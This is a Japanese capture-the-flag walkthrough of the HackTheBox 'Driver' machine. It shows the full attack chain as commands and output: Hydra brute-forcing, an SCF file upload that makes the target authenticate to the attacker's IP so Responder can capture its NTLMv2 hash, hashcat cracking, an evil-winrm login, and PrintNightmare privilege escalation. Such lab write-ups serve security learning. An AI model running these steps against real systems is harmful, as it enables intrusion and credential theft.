🔥

HackTheBox Driver

2022/09/23に公開

Driver

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.106 -oN nmap.log
PORT     STATE SERVICE       REASON          VERSION
80/tcp   open  tcpwrapped    syn-ack ttl 127
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp  open  tcpwrapped    syn-ack ttl 127
445/tcp  open  microsoft-ds? syn-ack ttl 127
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

80、135、445、5985番を確認

web


アクセスするには、admin のパスワードが必要らしい

smb

445番を確認したので、いつもの列挙

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ crackmapexec smb 10.10.11.106 --shares                                
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [-] Error enumerating shares: Error occurs while reading from remote(104)

いつもの出力を確認

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ smbclient -L //10.10.11.106 -N              
session setup failed: NT_STATUS_ACCESS_DENIED

smbclient はアクセスが拒否された

hydra

他に情報はなさそうなので、Basic 認証を突破できないか試す

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ hydra -l admin -P password.txt 10.10.11.106 http-get                     
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-23 14:04:34
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 6163 login tries (l:1/p:6163), ~386 tries per task
[DATA] attacking http-get://10.10.11.106:80/
[80][http-get] host: 10.10.11.106   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-23 14:04:38

admin というパスワードで認証成功した

実際にログインを行うと、アクセスできた。

fw_up.php

ファームウェアをアップロードできるページを発見

記事を参考に、パスワードの入手を試みる
参考記事 -> https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ cat @driver.scf 
[Shell]
Command=2
IconFile=\\10.10.14.12\test.ico
[Taskbar]
Command=ToggleDesktop

上記のような scf ファイルを作成し、アップロードする

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ sudo responder -wrf --lm -v -I tun0                                       
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:b2929d1133d3eb7b:2073CDF9754FAE9D7C21C640D9CBEEDA:0101000000000000964FCE764ECFD801280F3826A09623CD00000000020000000000000000000000

パスワードが Hash として出力された

hashcat

hashcat のリストによると、5600番の形であることがわかるので、-m で指定し実行

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

TONY::DRIVER:b2929d1133d3eb7b:2073cdf9754fae9d7c21c640d9cbeeda:0101000000000000964fce764ecfd801280f3826a09623cd00000000020000000000000000000000:liltony

liltony という文字列が出力された

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ crackmapexec winrm 10.10.11.106 -u tony -p 'liltony'  
WINRM       10.10.11.106    5985   NONE             [*] None (name:10.10.11.106) (domain:None)
WINRM       10.10.11.106    5985   NONE             [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106    5985   NONE             [+] None\tony:liltony (Pwn3d!)

crackmapexec で確認したところ、上手く動作したので、侵入できそう

tony としてのシェル

evil-winrm

┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ evil-winrm -i 10.10.11.106 -u tony -p 'liltony' 

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                       

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> whoami
driver\tony

侵入成功

user フラグ

*Evil-WinRM* PS C:\Users\tony\Desktop> cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

権限昇格

invoke-nightmare

いつもの列挙でなかなか情報が見つからず、困ったので、Google で 「windows printer privilege escalation」 と調べた。すると、PrintNightmare という脆弱性を見つけた。

ユーザが認証済みである場合、プリンターのドライバーをインストールするために、SYSTEM 権限が付与されることで発生する。

記事を参考にし、攻撃を開始する
参考記事 -> https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html

┌──(kali㉿kali)-[/opt/invoke-nightmare]
└─$ sudo git clone https://github.com/calebstewart/CVE-2021-1675.git 
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 40 (delta 1), reused 1 (delta 1), pack-reused 37
Receiving objects: 100% (40/40), 127.17 KiB | 1.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.

GitHub から 攻撃コードを取得する

*Evil-WinRM* PS C:\Users\tony\Documents> upload /opt/invoke-nightmare/CVE-2021-1675/CVE-2021-1675.ps1
Info: Uploading /opt/invoke-nightmare/CVE-2021-1675/CVE-2021-1675.ps1 to C:\Users\tony\Documents\CVE-2021-1675.ps1

                                                             
Data: 238080 bytes of 238080 bytes copied

Info: Upload successful!

攻撃コードのアップロードを行う

*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module .\CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [Import-Module], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand

次に、モジュールをインポートしようとしたが、実行ポリシーによりブロックされた

*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy Unrestricted -Scope CurrentUser

なので、単純に現在のユーザに対して無制限の実行を設定してみます

*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1

再度インポートすると、エラーが出力されず上手くいった

*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "shoQ" -NewPassword "shoQ555"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user shoQ as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

新たなユーザを shoQ という名前で追加する

root としてのシェル

evil-winrm

先程のユーザ情報を使用し、evil-winrm を実行

┌──(kali㉿kali)-[/opt/netcat]
└─$ evil-winrm -i 10.10.11.106 -u shoQ -p 'shoQ555'                          

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                         

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\shoQ\Documents> whoami
driver\shoq

接続に成功

*Evil-WinRM* PS C:\Users\shoQ\Documents> net user shoQ
User name                    shoQ
Full Name                    shoQ
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/23/2022 2:17:16 PM
Password expires             Never
Password changeable          9/23/2022 2:17:16 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   9/23/2022 2:19:53 PM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

net user により、shoQ が Administrators であることを確認。権限昇格成功

root フラグ

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

所感

今回のボックスは、侵入まではスムーズに進めたのだが、権限昇格にかなり時間を使ってしまった。PrintNightmare は聞いたことはあったのだが、詳しくなかったため、思いつくになかなか至らなかった。他の方のウォークスルーなどをみると、さまざまな攻略法があることがわかったので、色々と試してみたい。

Discussion